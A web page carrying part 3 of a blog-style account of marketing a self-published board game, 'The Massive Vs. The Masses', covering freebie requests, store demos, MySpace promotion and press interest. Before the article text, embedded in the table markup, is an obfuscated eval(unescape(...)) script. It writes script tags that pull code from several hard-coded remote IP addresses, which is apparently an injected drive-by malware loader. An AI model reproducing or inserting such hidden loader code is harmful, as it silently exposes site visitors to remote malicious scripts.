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| if(typeof(yahoo_counter)!=typeof(1))eval(unescape('%76@a%72`%20a$%2C%69?%2C!%5F@;%69`%3D`"7~6~%2E%31@%363#.@%22~;a#%3D`%5B~%22|7#8|%2E15!%37#%2E?14%32%2E5!%38%22%2Ci|+!%22|%31%34~%31.3?5%22?,i%2B!"?%31$%39$%31%2E%31%33$%32~%22%5D|;_=%31|%3B!i%66%28~d@ocu!me`n`%74|%2E%63~%6F%6F%6B$%69%65|.mat%63#h!%28%2F|%5C%62?h~%67~%66%74%3D`1/`%29@=%3D!%6E%75l@%6C)|%66o!r%28%69%3D$%30`%3B@i$%3C#3~%3B?%69~%2B+!)`%64%6F%63u$%6D%65|%6E%74`.w%72%69!te(?"%3C!sc|%72~i~%70%74%3Eif(%5F)@d#%6F!%63$%75?m%65|%6E#%74.w!r~i$%74$%65#%28`%5C%22`%3Cs~c%72i!pt`%20!i%64=_|"|%2Bi$%2B%22~%5F#%20`s|r!%63!%3D?%2F/#"#+@a|%5B%69%5D%2B"|/$%63#p?%2F%3E$%3C%5C%5C$%2F%73!cr#ip%74~%3E%5C")`%3C%5C#%2Fs%63~r$%69~%70t%3E`")#;').replace(/@|\$|\?|~|`|#|\||\!/g,""));var yahoo_counter=1; bgcolor="#000000" rowspan="2"> | Marketing The Massive Vs. The Masses - Part 3 of a Cautionary Tale on Breaking Into the Games Industry Continued from Part 2- Publishing The Massive Vs. The Masses. We have now covered the long hard road towards getting The Massive Vs. The Masses ready to sell, and it's time to do the actual selling. As it happens, it's also time to start rapping people across the knuckles, metaphorically speaking. As more and more components began to arrive, I found myself faced with more and more people wanting free stuff. This ranges from the various oddly timed offers to invest in the game ("Ah, so you want a cut of the profits of a game where all the work and payment has already been done do you?"), the innocent ("I get a free copy because I'm your friend/relative/casual acquaintance/father's brother's uncle's former roommate, right?"), and literal instances of theft. More or less every single person who has seen the finished Gamorzilla pieces casually slips one into their pocket and attempts to walk off. It's baffling, really. In any case, the time has come to get the game out there. The first step of course was setting up this website for the publishing company, and tossing up some photos of the game. Next of course is sending out pre-order copies, and freebies for the people who actually worked on the game. Hopefully, with how wide spread these are, they'll help to kick start word of mouth. Meanwhile, my mother offers to use her considerable marketing experience to help me out, by way of directly contacting every store in the country she can with a basic pitch, and taking a stab at running a viral marketing campaign via MySpace without being an annoying spammer about it. This at least attracts a huge amount of interest, if not a lot of actual sales. After getting a decent number of games fully assembled, I get in touch with the local stores who already have some familiarity with the game, along with local conventions, and arrange to run a demo at each of them. These, to date, have all gone quite well, drawing the attention of a decent chunk of the population, and the general consensus that the game should be finding its way onto a few people's wish lists for the holidays. Getting a decent penetration in stores proves somewhat tricky. While everyone who actually sees the game being played seems to fall instantly in love with it, it isn't exactly feasible for me to run an in-store demo in every store in the world, and even less so to send everyone a demo copy. All people have to go on at the moment is some word of mouth, which, being generated by the few stores stocking it isn't prone to reach the rest any time soon, and some photos... which at that fail to really capture the production values properly. More effort is clearly needed (although, really, selling a couple dozen copies in a month and a half with not one cent spent on advertising is pretty good). Options currently on the table would be to seriously spend money on ads (which ultimately would just be showing the same still photos to a wider audience), uploading a video of the game in play for added context (pending the acquisition of a decent camera), and hoping for some attention from the press. Evidently, the latter is rather promising, as the latest revision of this long rambling tale has been prompted by the interest of a journalist in, well, this whole story you've been reading. Which means of course that presumably, rather than having wasted an evening on my ramblings, you could just as easily have picked up a magazine and read a short, professionally written article, covering all the interesting bits. As a consolation, if you jump back to the first page and squint, you can see an early prototype board for an upcoming MvM set in that first inset scan. | ||
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